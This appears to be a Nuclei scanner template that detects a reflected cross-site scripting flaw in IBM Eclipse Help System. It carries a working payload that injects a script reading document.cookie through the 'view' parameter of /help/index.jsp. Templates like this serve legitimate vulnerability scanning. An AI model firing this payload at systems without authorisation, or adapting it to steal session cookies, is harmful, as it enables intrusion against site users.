id: eclipse-help-system-xss

info:
  name: IBM Eclipse Help System - Cross-Site Scripting
  author: pikpikcu
  severity: high
  description: IBM Eclipse Help System 6.1.0 through 6.1.0.6, 6.1.5 through 6.1.5.3, 7.0 through 7.0.0.2, and 8.0 prior to 8.0.0.1 contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site.
  reference: https://packetstormsecurity.com/files/131924/IBM-Eclipse-Help-System-IEHS-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
  tags: ibm,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/help/index.jsp?view=%3Cscript%3Ealert(document.cookie)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<script>alert(document.cookie)</script>"
        part: body

      - type: word
        words:
          - "text/html"
        part: header
# digest: 4b0a004830460221008a3f804b27a7c66a0acf5f38f99de9297d000153a39ae53d33234b432c83913e022100a94aea436c6e27df784db7a76e1b742fbf5edb7b0cd59485dc9b1a238316ae9b:922c64590222798bb761d5b6d8e72950